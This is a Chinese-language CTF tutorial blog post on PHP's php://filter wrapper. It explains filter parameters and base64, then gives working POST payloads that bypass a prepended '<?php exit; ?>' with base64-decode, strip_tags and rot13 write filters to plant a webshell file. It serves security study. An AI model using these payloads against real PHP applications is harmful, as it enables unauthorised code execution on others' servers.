php://filter用法详解

很多 ctf题目中用到了 php://filter,于是我就详细总结学习一下

介绍

php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取。

php://filter 参数

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(` `)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(` `)分隔。
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

示例

示例 #1 php://filter/resource=<待过滤的数据流>

这个参数必须位于 php://filter 的末尾,并且指向需要过滤筛选的数据流。

<?php
/* 这简单等同于:
  readfile("http://www.baidu.com");
  实际上没有指定过滤器 */

readfile("php://filter/resource=http://www.baidu.com");
?>

示例 #2 php://filter/read=<读链需要应用的过滤器列表>

这个参数采用一个或以管道符 | 分隔的多个过滤器名称。

<?php
/* 这会以大写字母输出 www.example.com 的全部内容 */
readfile("php://filter/read=string.toupper/resource=http://www.baidu.com");

/* 这会和以上所做的一样,但还会用 ROT13 加密。 */
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.baidu.com");

/* 这会输出 www.baidu.com 全部内容的base64编码*/
readfile("php://filter/read=convert.base64-encode/resource=http://www.baidu.com");

/* 这会输出 www.baidu.com 内容的可打印字符编码*/
readfile("php://filter/read=convert.quoted-printable-encode/resource=http://www.baidu.com");

/* 以utf-8编码输入,以utf-7编码输出*/
readfile("php://filter/read=convert.iconv.utf-8.utf-7/resource=http://www.baidu.com");

示例 #3 php://filter/write=<写链需要应用的过滤器列表>

这个参数采用一个或以管道符 | 分隔的多个过滤器名称。

<?php
   /* 这会通过 rot13 过滤器筛选出字符 "Hello World",然后写入当前目录下的 example.txt */
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>

CTF中的应用

编码与解码

开始之前讲一下base64编码和解码

Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。

Base64将输入字符串按字节切分,取得每个字节对应的二进制值(若不足8比特则高位补0),然后将这些二进制数值串联起来,再按照6比特一组进行切分(因为2^6=64),最后一组若不足6比特则末尾补0。将每组二进制值转换成十进制,然后在base64码表中找到对应的符号并串联起来就是Base64编码结果。

举个例子

字符串:abc
转换为二进制:01100001 01100010    01100011
按6比特分组:011000   010110  001001  100011
转换为十进制:24   22  9   35
对照码表:Y  W   J   j
base64编码:YWJj

解码过程相反,解码时4个字节为一组

base64编码:YWJj
根据码表转换为十进制:24   22  9   35
转换为六位二进制:011000 010110  001001  100011
按8位分组:01100001  01100010    01100011
转换为对应的ASCII码字符:a    b   c

php://filter的利用

这是一道CTF题目,尝试getshell

//test.php
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

$content 在开头加入了 exit;,就算写入了一句话木马也无法执行,但是可以利用 base64解码来绕过 exit;

$_POST['filename']可控,我们可以传入

filename=php://filter/write=convert.base64-decode/resource=shell.php

它的作用是将 $contentbase64解码后再写入shell.php

如果base64解码时遇到的字符不属于64个可打印ASCII字符,则会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。比如<?php exit; ?>,解码时会跳过<? ;?>,只解码phpexit,由于base64解码时是4个字节一组,所以我们让7字节的phpexit变为8字节:phpexita。(不然会影响后面字符的解码)

txt的值是:(PD9waHAgcGhwaW5mbygpOyA/Pg==<?php phpinfo(); ?>的base64编码)

txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==

开始传参

访问shell.php

访问到phpinfo()页面,成功绕过了<?php exit; ?>

有的小伙伴可能疑惑<?php exit; ?>怎么没了,其实是basr64解码导致它“整容”了,失去了原本的作用。

分析

代码中完整的$content是:

<?php exit; ?>aPD9waHAgcGhwaW5mbygpOyA/Pg==

base64解码时我们可以将它分为两部分:<?php exit; ?>aPD9waHAgcGhwaW5mbygpOyA/Pg==

后者解码变成<?php phpinfo(); ?>,前者却没这么顺利,下面是它的详细解码过程

源字符串:<?php exit; ?>a
跳过非法字符后的字符串:phpexita
根据码表转换为十进制:41   33  41  30  49  34  45  26
转换为六位二进制:101001 100001  101001  011110  110001  100010  101101  011010
按8位分组:10100110  00011010    01011110    11000110    00101011    01011010
转换为十进制: 166     26          94          198         43          90
对应ASCII字符:没有    SUB         ^           没有          +           Z
base64解码(不存在的ASCII码字符用?表示):?SUB^?+Z

所以最后写入shell.php的内容是?SUB^?+Z<?php phpinfo(); ?>

最后看一下shell.php的内容,和我们分析的一样

字符串操作函数

strip_tags

php://filter支持strip_tags()函数

strip_tags()函数作用是去除XML标签,<a>、<br>、<p></p>等等都是XML标签

通过php代码来测试一下:

<?phpreadfile('php://filter/read=string.strip_tags/resource=php://input');?>

可以看到<?php exit; ?><?php phpinfo(); ?>都被去除了,因为他们都是XML标签。

虽然这样可以绕过<?php exit; ?>,但是我们写入的 webshell 也被去除了,通过base64编码解码可以避免这样

//test.php
<?php$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

POST参数:

filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.phptxt=PD9waHAgcGhwaW5mbygpOyA/Pg==

先查看一下shell.php

成功去除<?php exit; ?>,并且保留了我们写入的webshell

rot13

与凯撒加密类似,位移为13

演示

<?phpreadfile('php://filter/read=string.rot13/resource=php://input');

还是利用这段代码

//test.php
<?php$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

POST参数:

filename=php://filter/write=string.rot13/resource=shell.phptxt=<?cuc cucvasb(); ?>

传参:

查看shell.php:

<?php exit; ?>被编码成<?cuc rkvg; ?>,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了

参考文章:

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

https://blog.csdn.net/qq_35544379/article/details/78230629

https://www.php.net/manual/zh/wrappers.php.php


文章作者: MissPower007
文章链接: http://time.pings.fun
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 MissPower007 !
评论
  目录